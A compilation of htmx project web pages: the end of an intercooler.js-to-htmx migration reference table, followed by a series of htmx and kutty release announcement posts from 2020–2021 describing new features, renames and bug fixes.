| [`ic-include`](https://intercoolerjs.org/attributes/ic-include.html) | [`hx-include`](@/attributes/hx-include.md)
| [`ic-indicator`](https://intercoolerjs.org/attributes/ic-indicator.html) | [`hx-indicator`](@/attributes/hx-indicator.md)
| [`ic-limit-children`](https://intercoolerjs.org/attributes/ic-limit-children.html) | None. No direct equivalent functionality exists (TBC)
| [`ic-local-vars`](https://intercoolerjs.org/attributes/ic-local-vars.html) | No direct equivalent. [`hx-vars`](@/attributes/hx-vars.md) could be used to facilitate.
| [`ic-on-beforeSend`](https://intercoolerjs.org/attributes/ic-on-beforeSend.html) | None. Use [Hyperscript][] in conjunction with events (e.g. [`htmx:beforeRequest`](@/events.md#htmx:beforeRequest)). See the [htmx documentation on hyperscript](https://hyperscript.org) and [hyperscript documentation](https://hyperscript.org) for more examples
| [`ic-on-beforeTrigger`](https://intercoolerjs.org/attributes/ic-on-beforeTrigger.html) | None. Use [Hyperscript][] in conjunction with events (e.g. [`htmx:beforeRequest`](@/events.md#htmx:beforeRequest)). See the [htmx documentation on hyperscript](https://hyperscript.org) and [hyperscript documentation](https://hyperscript.org) for more examples
| [`ic-on-complete`](https://intercoolerjs.org/attributes/ic-on-complete.html) | None. Use [Hyperscript][] in conjunction with events (e.g. [`htmx:afterRequest`](@/events.md#htmx:afterRequest)). See the [htmx documentation on hyperscript](https://hyperscript.org) and [hyperscript documentation](https://hyperscript.org) for more examples
| [`ic-on-error`](https://intercoolerjs.org/attributes/ic-on-error.html) | None. Use [Hyperscript][] in conjunction with events (e.g. [`htmx:afterRequest`](@/events.md#htmx:afterRequest)). See the [htmx documentation on hyperscript](https://hyperscript.org) and [hyperscript documentation](https://hyperscript.org) for more examples
| [`ic-on-success`](https://intercoolerjs.org/attributes/ic-on-success.html) | None. Use [Hyperscript][] in conjunction with events (e.g. [`htmx:afterRequest`](@/events.md#htmx:afterRequest)). See the [htmx documentation on hyperscript](https://hyperscript.org) and [hyperscript documentation](https://hyperscript.org) for more examples
| [`ic-patch-to`](https://intercoolerjs.org/attributes/ic-patch-to.html) | [`hx-patch`](@/attributes/hx-patch.md)
| [`ic-pause-polling`](https://intercoolerjs.org/attributes/ic-pause-polling.html) | None. Techniques like [`load polling`](@/docs.md#load_polling) could be used
| [`ic-poll`](https://intercoolerjs.org/attributes/ic-poll.html) | None. The equivalent can be achieved by triggering a load on schedule, e.g. `<div hx-get="/news" hx-trigger="every 2s"></div>`. See the [documentation on polling](@/docs.md#polling)
| [`ic-poll-repeats`](https://intercoolerjs.org/attributes/ic-poll-repeats.html) | None. The equivalent can be achieved by triggering a load on schedule, e.g. `<div hx-get="/news" hx-trigger="every 2s"></div>`. See the [documentation on polling](@/docs.md#polling)
| [`ic-post-errors-to`](https://intercoolerjs.org/attributes/ic-post-errors-to.html) | None. Errors can be trapped via events and logged via the [`htmx.logger` mechanism](@/docs.md#events)
| [`ic-post-to`](https://intercoolerjs.org/attributes/ic-post-to.html) | [`hx-post`](@/attributes/hx-post.md)
| [`ic-prepend-from`](https://intercoolerjs.org/attributes/ic-prepend-from.html) | The [`hx-swap` attribute](@/attributes/hx-swap.md) with value set to `beforeend` could be used to achieve the same outcome
| [`ic-prompt`](https://intercoolerjs.org/attributes/ic-prompt.html) | [`hx-prompt`](@/attributes/hx-prompt.md)
| [`ic-push-url`](https://intercoolerjs.org/attributes/ic-push-url.html) | [`hx-push-url`](@/attributes/hx-push-url.md)
| [`ic-push-params`](https://intercoolerjs.org/attributes/ic-push-params.html) | Parameters are automatically pushed in the case of a `GET` in htmx
| [`ic-put-to`](https://intercoolerjs.org/attributes/ic-put-to.html) | [`hx-put`](@/attributes/hx-put.md)
| [`ic-remove-after`](https://intercoolerjs.org/attributes/ic-remove-after.html) | None. See the [htmx documentation on hyperscript](https://hyperscript.org) for an example on how to implement it using [hyperscript](https://hyperscript.org)
| [`ic-remove-class`](https://intercoolerjs.org/attributes/ic-remove-class.html) | None. Use [Hyperscript][], e.g. `<button class="red" _="on click remove .red">Remove The "red" class from me</button>`. See the [htmx documentation on hyperscript](https://hyperscript.org) and [hyperscript documentation](https://hyperscript.org)for more examples
| [`ic-replace-target`](https://intercoolerjs.org/attributes/ic-replace-target.html) | The [`hx-swap` attribute](@/attributes/hx-swap.md) with value set to `outerHTML` could be used to achieve the same outcome
| [`ic-scroll-offset`](https://intercoolerjs.org/attributes/ic-scroll-offset.html) | None. No direct equivalent functionality exists
| [`ic-scroll-to-target`](https://intercoolerjs.org/attributes/ic-scroll-to-target.html) | See the `scroll` and `show` modifiers on the [`hx-swap`](@/attributes/hx-swap.md) attribute
| [`ic-select-from-response`](https://intercoolerjs.org/attributes/ic-select-from-response.html) | [`hx-select`](@/attributes/hx-select.md)
| [`ic-src`](https://intercoolerjs.org/attributes/ic-src.html) | None. Use [`hx-get`](@/attributes/hx-get.md) in conjunction with triggers or the [`path-deps` extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/path-deps/README.md)
| [`ic-sse-src`](https://intercoolerjs.org/attributes/ic-sse-src.html) | `hx-sse`
| [`ic-style-src`](https://intercoolerjs.org/attributes/ic-style-src.html) | None. No direct equivalent functionality exists (TBC)
| [`ic-swap-style`](https://intercoolerjs.org/attributes/ic-swap-style.html) | [`hx-swap`](@/attributes/hx-swap.md)
| [`ic-switch-class`](https://intercoolerjs.org/attributes/ic-switch-class.html) | None. See the [htmx documentation on _hyperscript](https://hyperscript.org) for an example on how to implement it using [_hyperscript](https://hyperscript.org) and the [`htmx:beforeOnLoad` event](https://htmx.org/events#htmx:beforeOnLoad)
| [`ic-target`](https://intercoolerjs.org/attributes/ic-target.html) | [`hx-target`](@/attributes/hx-target.md)
| [`ic-transform-response`](https://intercoolerjs.org/attributes/ic-transform-response.html) | None. The [`client-side-templates` extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/client-side-templates/README.md) enables JSON response transformation via templating engines like [mustache](https://github.com/janl/mustache.js), [handlebars](https://handlebarsjs.com/) or [nunjucks](https://mozilla.github.io/nunjucks/)
| [`ic-transition-duration`](https://intercoolerjs.org/attributes/ic-transition-duration.html) | None. Equivalent functionality can be achieved by relying on the nature of [htmx's swapping mechanism and CSS transitions](@/docs.md#css_transitions)
| [`ic-trigger-delay`](https://intercoolerjs.org/attributes/ic-trigger-delay.html) | Use [`hx-trigger`](@/attributes/hx-trigger.md) with [modifiers](@/docs.md#trigger-modifiers)
| [`ic-trigger-from`](https://intercoolerjs.org/attributes/ic-trigger-from.html) | Use [`hx-trigger`](@/attributes/hx-trigger.md) with `from:` clause
| [`ic-trigger-on`](https://intercoolerjs.org/attributes/ic-trigger-on.html) | [`hx-trigger`](@/attributes/hx-trigger.md)
| [`ic-verb`](https://intercoolerjs.org/attributes/ic-verb.html) | None. By default htmx sends the actual http method. You can however non-`GET` verbs to `POST` via the [`method-override` extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/method-override/README.md)


#### Request parameters

| Intercooler | htmx |
|-----------|-------------|
| `ic-request` | None. Use `HX-Request` header
| `_method` | None. Use [`method-override`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/method-override/README.md) extension and its provided `X-HTTP-Method-Override` header
| `ic-element-id` | None
| `ic-element-name` | None
| `ic-target-id` | None. Use `HX-Target` header
| `ic-trigger-id` | None. Use `HX-Trigger` header
| `ic-trigger-name` | None. Use `HX-Trigger-Name` header
| `ic-current-url` | None. Use the `HX-Current-URL` header
| `ic-prompt-value` | None. Use the `HX-Prompt` header

#### Request headers

| Intercooler | htmx |
|-----------|-------------|
| `X-IC-Request` | `HX-Request`
| `X-HTTP-Method-Override` | `X-HTTP-Method-Override`

#### Response headers

| Intercooler | htmx |
|-----------|-------------|
| `X-IC-Trigger` | `HX-Trigger`, `HX-Trigger-After-Settle`, `HX-Trigger-After-Swap`. See [documentation](@/headers/hx-trigger.md) for more details
| `X-IC-Refresh` | `HX-Refresh`
| `X-IC-Redirect` | `HX-Redirect`
| `X-IC-Script` | None. No  direct equivalent functionality exists (TBC)
| `X-IC-CancelPolling` | None. Respond with HTTP response code `286` to cancel [polling](@/docs.md#polling).
| `X-IC-ResumePolling` | None. No direct equivalent functionality exists
| `X-IC-SetPollInterval` | None. If using [load polling](@/docs.md#load_polling), respond with content that contains a different load interval.
| `X-IC-Open` | None. No direct equivalent functionality exists (TBC)
| `X-IC-PushURL` | `HX-Push`
| `X-IC-Remove` | None. No direct equivalent functionality exists (TBC)
| `X-IC-Title` | None. No direct equivalent functionality exists (TBC)
| `X-IC-Title-Encoded` | None. No direct equivalent functionality exists (TBC)
| `X-IC-Set-Local-Vars` | None. No direct equivalent functionality exists (TBC)

#### Events

**Note**: All [htmx events](@/docs.md#events) are fired in both Camel and Kebab casing.

| Intercooler | htmx |
|-----------|-------------|
| `log.ic` | None. Equivalent achieved via `htmx.logger`. See [`Events & Logging` documentation](@/docs.md#events)
| `beforeAjaxSend.ic` | [`htmx:configRequest`](@/events.md#htmx:configRequest)
| `beforeHeaders.ic` | None. No direct equivalent functionality exists (TBC)
| `afterHeaders.ic` | None. No direct equivalent functionality exists (TBC)
| `beforeSend.ic` | [`htmx:beforeRequest`](@/events.md#htmx:beforeRequest)
| `success.ic` | [`htmx:afterOnLoad`](@/events.md#htmx:afterOnLoad)
| `after.success.ic` | Approximate equivalent: [`htmx:beforeSwap`](@/events.md#htmx:beforeSwap)
| `error.ic` | [`htmx:sendError`](@/events.md#htmx:sendError) or [`htmx:sseError`](@/events.md#htmx:sseError) or [`htmx:responseError`](@/events.md#htmx:responseError) or [`htmx:swapError`](@/events.md#htmx:swapError) or [`htmx:onLoadError`](@/events.md#htmx:onLoadError) (TBC)
| `complete.ic` | [`htmx:afterRequest`](@/events.md#htmx:afterRequest)
| `onPoll.ic` | No direct equivalent. When using [load polling](@/docs.md#load_polling), the [`htmx:load` event] could potentially be used
| `handle.onpopstate.ic` | [`htmx:historyRestore`](@/events.md#htmx:historyRestore) (TBC)
| `elementAdded.ic` | [`htmx:load`](@/events.md#htmx:load)
| `pushUrl.ic` | tbd
| `beforeHistorySnapshot.ic` | [`htmx:beforeHistorySave`](@/events.md#htmx:beforeHistorySave)

#### JavaScript API methods {#methods}

| Intercooler | htmx |
|-----------|-------------|
| `Intercooler.refresh(eltOrPath)` | `PathDeps.refresh()` (requires the [`path-deps`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/path-deps/README.md) extension)
| `Intercooler.triggerRequest(elt, handler)` | [`htmx.trigger()`](@/api.md#trigger)
| `Intercooler.processNodes(elt)` | [`htmx.process()`](@/api.md#process)
| `Intercooler.closestAttrValue(elt, attr)` | [`htmx.closest()`](@/api.md#closest) can be used with any selector
| `Intercooler.verbFor(elt)` | None. No direct equivalent functionality exists (TBC)
| `Intercooler.isDependent(elt1, elt2)` | None. No direct equivalent functionality exists (TBC)
| `Intercooler.getTarget(elt1)` | None. No direct equivalent functionality exists (TBC)
| `Intercooler.processHeaders(elt, xhr)` | None. No direct equivalent functionality exists (TBC)
| `Intercooler.ready(func(elt))` | [`htmx.onLoad()`](@/api.md#onLoad)
| `LeadDyno.startPolling(elt)` | None. No direct equivalent functionality exists (TBC)
| `LeadDyno.stopPolling(elt)` | None. No direct equivalent functionality exists (TBC)

#### Meta tags

| Intercooler | htmx |
|-----------|-------------|
| `<meta name="intercoolerjs:use-data-prefix" content="true"/>` | None. You can simply use the `data-` prefix without specifying a meta tag. htmx will automatically recognize htmx attributes like this: `<a data-hx-post="/click">Click Me!</a>`
| `<meta name="intercoolerjs:use-actual-http-method" content="true"/>` | None. By default htmx sends the actual http method. You can however change the verb for all non-GET requests to POST via the [`method-override` extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/method-override/README.md)


[Hyperscript]: https://hyperscript.org

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-10-27-htmx-0.3.0-is-released.md

+++
title = "htmx 0.3.0 has been released!"
date = 2020-10-27
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.3.0 Release

I'm pleased to announce the [0.3 release](https://unpkg.com/browse/htmx.org@0.3.0/) of htmx.  Due to a big testing
push I'm happy to say that htmx now has **98.4%** test coverage.

That said, this release involves some major surgery on trigger parsing, in particular, so please try it out and let
me know if you see anything funny.

### Changes

#### New Features

* `hx-trigger` parsing has been rewritten and now supports [trigger filters](@/docs.md#trigger-filters) to filter
  events based on arbitrary javascript expressions
* htmx now supports two additional response headers `HX-Trigger-After-Swap` and `HX-Trigger-After-Settle` allowing
  an event to be triggered after a given life cycle event (instead of before the swap)
* The `requestConfig` is now passed out to events surrounding the AJAX life cycle
* Evaluate `<script>` tags as javascript when no language is defined on them
* A new [`event-header`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/event-header/README.md) extension, which will include a serialized JSON representation of
  the triggering event in requests

#### Bug Fixes

* Ignore non-elements when triggering post-swap events (avoid multiple event triggers when content exists)
* Catch errors when attempting to save local history so site continues to function

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-11-16-htmx-0.4.0-is-released.md

+++
title = "htmx 0.4.0 has been released!"
date = 2020-11-16
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.4.0 Release

I'm pleased to announce the [0.4 release](https://unpkg.com/browse/htmx.org@0.4.0/) of htmx.

### Changes

#### New Features

* Now support the `HX-Redirect` and `HX-Refresh` response headers for redirecting client side and triggering a page refresh, respectively
* `hx-vars` now overrides input values
* `<title>` tags in responses will be used to update page titles
* All uses of `eval()` have been removed in favor of `Function`
* [`hx-vals`](@/attributes/hx-vals.md) is available as a save alternative to `hx-vars`.  It uses `JSON.parse()` rather than evaluation, if you wish to safely pass user-provided values through to htmx.

#### Bug Fixes

* Eliminated perf issues around `hx-boost` in large pages that are not using that attribute
* Fixed bug which prevented evaluation when a script tag was the leading content in a response

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-11-24-htmx-1.0.0-is-released.md

+++
title = "htmx 1.0.0 has been released!"
date = 2020-11-24
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.0.0 Release

I'm happy to announce the [1.0.0 release](https://unpkg.com/browse/htmx.org@1.0.0/) of htmx.

htmx is now mature enough that I can recommend it as a general replacement for intercooler.js
projects.  I **don't** think there is a strong reason to port an existing intercooler project to
htmx.  I have several large intercooler apps and will not be moving them over any time soon. I can, however, recommend using htmx over intercooler for new projects.

htmx is a different sort of javascript library.  It is an HTML & hypertext-oriented reply to the current dominance of javascript-based SPA libraries.  It is a response to Tom MacWright's question:
["If not SPAs, What?"](https://macwright.com/2020/10/28/if-not-spas.html).

As the [homepage says](@/_index.md):

* Why should only `<a>` and `<form>` be able to make HTTP requests?
* Why should only `click` & `submit` events trigger them?
* Why should only GET & POST be available?
* Why should you only be able to replace the entire screen?

HTML-oriented web development was abandoned not because hypertext was a bad idea, but rather because HTML didn't have sufficient expressive power.  htmx aims to fix that & allows you to implement [many common modern web UI patterns](@/examples/_index.md) using the original hypertext model of the web.
 
### History & Thanks

htmx began life as [intercooler.js](https://intercoolerjs.org) back in [2013](https://github.com/bigskysoftware/intercooler-js/commit/62d3dbdb5c056ee866aba3575e148de649fc3efe).

In [april](https://github.com/bigskysoftware/htmx/commit/e38dea64dd1065003a0e833d7b469d24e6bc2919) of this year I began work on a jQuery-independent & improved version of intercoolerjs, renamed
to htmx.  I chose to rename the library because, in working on intercooler, I had come to appreciate that intercooler & htmx were completing HTML as a hypertext rather than just some funky, idiosyncratic javascript libraries.
  
In [May](https://github.com/bigskysoftware/htmx/releases/tag/v0.0.1) htmx reached 0.0.1.  Soon thereafter I had the good fortune of being contacted by [Ben Croker](https://twitter.com/ben_pylo)
who was interested in htmx as a base for his new reactive library, [Sprig](https://putyourlightson.com/plugins/sprig).  Ben was willing to be an early adopter of htmx and pushed the library along
much faster than it would have gone otherwise.

I have been very lucky to the have help and feedback from many contributors in [GitHub](https://github.com/bigskysoftware/htmx/graphs/contributors) and on [Discord](https://htmx.org/discord).  I'd like to thank, in particular, [Ben Pate](https://github.com/benpate), [Robert Schroll](https://github.com/rschroll) & [Alejandro Schmeichler](https://github.com/jreviews) for contributing code as well as new ideas and discussions.

I would like to thank [Devmode.fm](https://devmode.fm/) for having me on to [talk about htmx](https://devmode.fm/episodes/dynamic-html-with-htmx) and for cleaning up all my "uhhs" and "umms".  

Finally, I would like to thank [Justin Sampson](https://github.com/jsampson), who took a lot of time to explain REST & HATEOAS to me and how intercooler (and now htmx) fit into that model for web development.

### Changes

* I bumped the version number :)

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-5-15-kutty-0.0.1-is-released.md

+++
title = "kutty 0.0.1 has been released!"
date = 2020-05-15
[taxonomies]
tag = ["posts", "announcements"]
+++

## Kutty 0.0.1 Release

I'm pleased to announce the [0.0.1 release](https://unpkg.com/browse/kutty.org@0.0.1/) of kutty, the successor
to [intercooler.js](http://intercoolerjs.org)!

Like intercooler, kutty brings features of modern browsers that normally require javascript (AJAX, CSS transitions, etc.) 
directly into HTML.

#### Why the rename?

I chose to rename the project for a few reasons:

* I wanted the freedom to clean up mistakes and remove ideas that hadn't worked out as cleanly as I wanted
* The JS in `intercooler.js` implied a javascript-orientation.  The more I developed intercooler the more I realized
  that it was really about enhancing (completing?) HTML, not javascript.  This project doesn't really compete with tools 
  like angular, vue or react, it's something different, so I wanted a different name.
* `kutty` is short and memorable, `kutty.org` was available, and it has consonance with "cuttlefish" which is the
  official cephalopod of kutty development.

#### So what's new & different about kutty vs. intercooler?

* First and foremost, kutty has [*no external dependencies*](https://github.com/bigskysoftware/kutty/blob/master/package.json) !
  No more dragging in jQuery just to do HTML-oriented web development.  It has been tested with IE11.
* It follows conventional naming and behavior standards more closely than intercooler does (e.g. [`innerHTML`](/attributes/kt-swap) and [`outerHTML`](/attributes/kt-swap))
* Kutty isn't the kitchen-sink-of-features that intercooler is.  Kutty is more focused on the features that are amenable 
  to a declarative approache and less on replacing javascript entirely.
* Kutty has a better swapping mechanism which introduces a settling step, which allows for nice CSS transitions
  with minimal complexity.  Check out the [progress bar](@/examples/progress-bar.md) to see how this works: by returning
  HTML in the old web 1.0 style, you can get nice, smooth CSS-based transitions.  Fun!

Beyond that, basic kutty and intercooler code will look a lot a like:

```html
  <div kt-post="/clicked">Click Me!</div>
```

This will issue an AJAX post to `/clicked`, in a manner familiar to anyone who has used intercooler.

#### What will happen to intercooler?

I'm planning on maintaining both projects.  Intercooler is a slow moving project anyway, and the code is stable and
works fine for people who want to go the jQuery route.  I have a large application written with it and I'm not planning
on moving that to kutty any time soon.

#### How hard will a port to kutty from intercooler be?

Depends a lot on how into the weeds you got with intercooler.  The core attributes are pretty close to one another
but if you were using `ic-action` or event handlers extensively it will be a project.

#### OK, so what should I do?

The usual:

* read the [docs](@/docs.md)
* star the [repo](https://github.com/bigskysoftware/kutty)
* tell your friends
* enjoy fully functional HTML, the way [Roy Fielding](https://en.wikipedia.org/wiki/Representational_State_Transfer) intended it

Cheers!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-5-17-kutty-er-htmx-0.0.3-is-released.md

+++
title = "kutty, er, htmx 0.0.3 has been released!"
date = 2020-05-17
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.0.3 Release

I'm pleased to announce the [0.0.3 release](https://unpkg.com/browse/htmx.org@0.0.3/) of kutty, er, htmx, the successor
to [intercooler.js](http://intercoolerjs.org)!

#### Why not kutty 0.0.2?

One of the reasons you put a `0.0.1` release out there is to see what happens.  And one of the things that 
happened was that multiple people made comments on how the word "kutty" meant different things in different languages, including
"small", "child" and a very unfortunate meaning in dutch slang.  I had originally 
[called the project `htmx`](https://github.com/bigskysoftware/kutty/commit/b003ccadf855fe49a40ca0b86ca3c9e16448d33c#diff-b9cfc7f2cdf78a7f4b91a753d10865a2) 
(html extensions) and went back and forth between the two names for a bit.  

It seems like, upon contact with reality, `htmx` is a better long term name for the project.  It's also
a lot easier to search twitter & reddit for that term.

It's a simple fix for anyone who actually used `0.0.1`:

* attributes go from `kt-` to `hx-` (their original prefix)
* request headers go from  `X-KT-` to `X-HX-`
* `kutty` goes to `htmx` for event names, etc.

#### Changes

OK, so besides the big re-rename, what changed?

* A bug fix for the `hx-prompt` attribute
* A bug fix for multiple `hx-swap-oob` attributes
* Moved the default CSS indicator injection into its own sheet to avoid breaking
* Added the `htmx.config.includeIndicatorStyles` configuration option so people can opt out of injecting the indicator CSS

Cheers!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-5-24-htmx-0.0.4-is-released.md

+++
title = "htmx 0.0.4 has been released!"
date = 2020-05-24
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.0.4 Release

I'm pleased to announce the [0.0.4 release](https://unpkg.com/browse/htmx.org@0.0.4/) of htmx, this time with no 
project renaming.

#### Changes

This one had a lot of code clean up along with two major features:

##### Extensions

First off, htmx now has a proper [extensions](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/_index/README.md) mechanism, allowing us to create extensions that plug
in to the htmx life cycle and provide functionality that isn't in the core library.  Some extensions that have shipped
with this release and that you might find useful include:

* [`morphdom-swap`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/morphdom-swap/README.md) - allows you to use the morphdom library for swapping in new content
* [`class-tools`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/class-tools/README.md) - replaces the retired `hx-classes` attribute
* [`json-enc`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/json-enc/README.md) - allows you to encode AJAX request bodies in JSON

See the full list of included [extensions here](https://extensions.htmx.org#included).

This extension mechanism will allow us to introduce useful HTML-oriented features while keeping the core htmx code
focused on loading content.

##### Web Socket & Reworked Server Sent Events Support

htmx now has experimental support for [Web Sockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications)
with the `hx-ws` attribute:

```html
  <div hx-ws="connect wss:/chatroom">
    <div id="chat_room">
      ...
    </div>
    <form hx-ws="send">
        <input name="chat_message">
    </form>
  </div>
```

Additionally, the [Server Sent Event](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events)
support attribute was renamed to `hx-sse` and the syntax was standardized with the new web socket support
syntax:

```html
  <div hx-sse="connect /event_stream">
    <div hx-get="/chatroom" hx-trigger="sse:chatter">
      ...
    </div>
  </div>
```

There were also many, many bug fixes, many of them contributed by other developers.  So a big thank you to everyone
who helped!

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-6-20-htmx-0.0.6-is-released.md

+++
title = "htmx 0.0.6 has been released!"
date = 2020-06-20
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.0.6 Release

I'm pleased to announce the [0.0.6 release](https://unpkg.com/browse/htmx.org@0.0.6/) of htmx.

### Changes

#### _hyperscript

With this release comes the release of a new sibling project:

<https://hyperscript.org>

hyperscript is a scripting language designed to be embedded directly in HTML and inspired by 
[HyperTalk](https://hypercard.org/HyperTalk%20Reference%202.4.pdf), the programming language of HyperCard.

#### Breaking Changes

* Custom request/response headers no longer start with the `X-` prefix, which is no longer recommended
* The `X-HTTP-Method-Override` is now part of the `method-override` extension, and AJAX requests use the actual
  http method specified for requests.
* Extensions that handle swaps must explicitly return an array of elements to process after the swap
* The `hx-error-url` attribute was removed in favor of hyperscript

#### Other Changes

* empty verb attributes are now allowed and follow the anchor tag semantics (e.g. `<div hx-get></div>`)
* nunjuks inline rendering is now supported in the `client-side-templates` extension
* the new `ajax-header` extension includes the `X-Requested-With` header
* bad JSON is now handled more gracefully
* `hx-swap="none"` will cause no swap to take place <https://github.com/bigskysoftware/htmx/issues/89>
* `hx-trigger` now supports a `throttle` modifier <https://github.com/bigskysoftware/htmx/issues/88>
* the focused element is preserved if possible after a replacement
* perf improvements for large DOM trees with sparse `hx-` annotations
* general bug fixes

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-6-30-htmx-0.0.7-is-released.md

+++
title = "htmx 0.0.7 has been released!"
date = 2020-06-30
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.0.7 Release

I'm pleased to announce the [0.0.7 release](https://unpkg.com/browse/htmx.org@0.0.7/) of htmx.

### Changes

#### Breaking Changes

* All events fired by htmx have changed name, from `<event name>.htmx` (the old jQuery style) to `htmx:<event name>`

#### New Features

* The [`hx-swap`](@/attributes/hx-swap.md) attribute now supports two new modifiers:
    * `scroll` - allows you to scroll the target to the `top` or `bottom`
    * `view` - allows you to scroll the `top` or `bottom` of the target into view
* The [`hx-push-url`](@/attributes/hx-push-url.md) attribute now can optionally take a URL to push, in addition to `true` and `false`
* Added the [`hx-vars`](@/attributes/hx-vars.md) attribute that allows you to dynamically add to the parameters that will be submitted with a request
* You can now sponsor htmx development via [GitHub Sponsors](https://github.com/sponsors/bigskysoftware)
    * A big thanks to our first sponsors!
        * <https://github.com/putyourlightson>
        * <https://github.com/simosentissi>
        * <https://github.com/jreviews>


Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-7-8-htmx-0.0.8-is-released.md

+++
title = "htmx 0.0.8 has been released!"
date = 2020-06-30
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.0.8 Release

I'm pleased to announce the [0.0.8 release](https://unpkg.com/browse/htmx.org@0.0.8/) of htmx.

### Changes

#### Breaking Changes

* The `view` modifier on `hx-swap` has been renamed to `show`: `hx-swap='innerHTML show:top'`

#### New Features

* A bug fix on history when using local anchors: `<a href="#example">...`
* A bug fix for the aforementioned `show` functionality

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-9-18-htmx-0.1.0-is-released.md

+++
title = "htmx 0.1.2 has been released!"
date = 2020-09-18
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.1.2 Release

I'm pleased to announce the [0.1.2 release](https://unpkg.com/browse/htmx.org@0.1.2/) of htmx as well as the first non-alpha hyperscript
release [0.0.2 hyperscript](https://unpkg.com/hyperscript.org@0.0.2).

### Changes

#### Breaking Changes

* The SSE attribute `hx-sse` and the Web Sockets attribute `hx-ws` have changed syntax to now use colon separators: `hx-sse='connect:/chat swap:message'`
* Hyperscript no longer requires a `_hyperscript.start()` call to initialize.

#### New Features

* The SSE attribute `hx-sse` allows for swapping content directly on an event, in addition to triggering an htmx element,
with the new `swap:<event name>` syntax.
* [`hx-target`](@/attributes/hx-target.md) now supports a `find` syntax to find elements below the element by a CSS selector
* htmx plays better with deferred loading and many package managers
* All htmx events are dispatched in both camelCase as well as kebab-case, for better compatibility with AlpineJS and other frameworks.  (e.g. `htmx:afterOnLoad` will also be triggered as
`htmx:after-on-load`)

#### Bug Fixes

* The synthetic `revealed` trigger event is much less of a CPU hog
* Multi-select elements now send all values
* Exotic element IDs do not break DOM processing
* Exotic attribute values do not break the settling phase
* Hyperscript now supports `$` and `_` in function calls
* Hyperscript now supports empty parameter lists

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2020-9-30-htmx-0.2.0-is-released.md

+++
title = "htmx 0.2.0 has been released!"
date = 2020-09-30
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 0.2.0 Release

I'm pleased to announce the [0.2 release](https://unpkg.com/browse/htmx.org@0.2.0/) of htmx

### Changes

#### New Features

* AJAX file upload is [now supported](@/docs.md#files)
* The HTML validation API is [now respected](@/docs.md#validation)

#### Bug Fixes

* A selected element no longer breaks response processing in some rare cases
* HTMX-related classes (e.g. `.htmx-request`) are stripped from content before saving for history

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2021-1-6-htmx-1.1.0-is-released.md

+++
title = "htmx 1.1.0 has been released!"
date = 2021-01-06
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.1.0 Release

I'm happy to announce the [1.1.0 release](https://unpkg.com/browse/htmx.org@1.1.0/) of htmx.

This is a surprisingly big release, but the star of the show isn't htmx itself, but rather the new 
[preload extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/preload/README.md) which allows you to preload requests into the cache,
cutting down on latency.  (This extension is used in the htmx website!)

There are also new examples, including [keyboard shortcuts](@/examples/keyboard-shortcuts.md) and
[drag and drop list reordering with Sortable.js](@/examples/sortable.md).

### Changes

* Newly added [preload extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/preload/README.md) allows you to preload resources for lower
  latency requests!
* Support the `ignore:` modifier for extensions
* Updated form variable order inclusion to include the enclosing form *last* so that, in the presence of multiple 
  values, the most relevant value is the most likely to be selected by the server
* Support for the [`htmx.ajax()`](@/api.md#ajax) javascript function, to issue an htmx-style ajax 
  request from javascript
* Removed the following htmx request headers for better cache behavior: `HX-Event-Target`, `HX-Active-Element`, 
  `HX-Active-Element-Name`, `HX-Active-Element-Value`
* Added the [`hx-preserve`](@/attributes/hx-preserve.md) attribute, which allows 
  you to preserve elements across requests (for example, to keep a video element playing properly)
* The [path-deps](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/path-deps/README.md#refresh) now surfaces a small api
  for refreshing path dependencies manually in javascript
* Now support the `from:` clause on [`hx-trigger`](@/attributes/hx-trigger.md) to
  allow an element to respond to events on other elements.
* Added the `htmx:beforeProcessNode` event, renamed the (previously undocumented) `htmx:processedNode` to `htmx:afterProcessNode`
* Added `closest` syntax support for the [`hx-indicator`](@/attributes/hx-indicator.md) attribute
* Added `on load` support for the newest version of [hyperscript](https://hyperscript.org)
* Added the `htmx.config.allowEval` configuration value, for CSP compatibility
* Bug fixes & improvements 

Enjoy!

---

